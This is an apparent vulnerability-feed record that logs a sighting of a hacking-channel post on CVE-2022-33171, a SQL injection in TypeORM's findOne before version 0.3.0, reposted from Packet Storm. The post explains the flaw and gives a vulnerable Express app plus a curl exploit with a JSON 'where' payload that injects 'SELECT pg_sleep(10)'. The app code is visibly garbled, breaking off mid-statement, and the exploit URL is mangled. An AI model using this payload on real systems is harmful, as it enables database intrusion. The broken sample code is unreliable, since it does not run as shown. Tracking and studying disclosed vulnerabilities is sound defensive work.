{"uuid": "73081677-0dae-4185-9e89-e844ca8a1692", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-33171", "type": "seen", "source": "https://t.me/hacking_Attack/59736", "content": "Exploit Collector\nTypeORM SQL Injection\n\nhttps://4.bp.blogspot.com/-mbNmyGHywr4/WWlve-suujI/AAAAAAAAIP4/9elXOC6IHOcW_3VzQDLCix2bjP9zh38ZgCLcBGAs/s1600/h83.png \nTypeORM versions prior to 0.3.0 suffer from a remote SQL injection vulnerability in the findOne function.\n\nSHA-256 | fd166627536e61322f676b3adf3875427b5eb32b7305d966ceefdc69b93b2f39\n\nDownload\ntypeorm CVE-2022-33171\n\nfindOne(id), findOneOrFail(id)\n\nThe findOne function in TypeORM before 0.3.0 can either be supplied with a string or a FindOneOptions object. When input to the function is a user-controlled parsed JSON object, supplying a crafted FindOneOptions instead of an id string leads to SQL injection.\n\nThe issue was already fixed from version 0.3.0 onward when we encountered it.\n\nMaintainer does not consider this a vulnerability and stated the root cause is bad input validation.\n\nOn one hand input validation is definitely insufficient. On the other hand this is a function argument that is meant to be fed user input and as such one would think it safe to put user input there.\n\nVulnerable app:\n```\n\nimport {\nEntity,\nPrimaryGeneratedColumn,\nConnection,\nConnectionOptions,\nRepository,\ncreateConnection\n} from 'typeorm';\nimport * as express from 'express';\nimport {Application, Request, Response} from 'express';\n\nlet connection: Connection;\n\nasync function myListener(request: Request, response: Response) {\nif(!connection)\nconnection = await createConnection(connectionOpts);\nconst userRepo: Repository console.log('App started'));\n\n```\n\nExploit:\ncurl -v [http://host/findByIds](http://containerip:4444/findByIds)' -H 'Content-Type: application/json' --data '[{\"where\":\"1=1; SELECT pg_sleep(10) --\"}]'\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:35.090716Z"}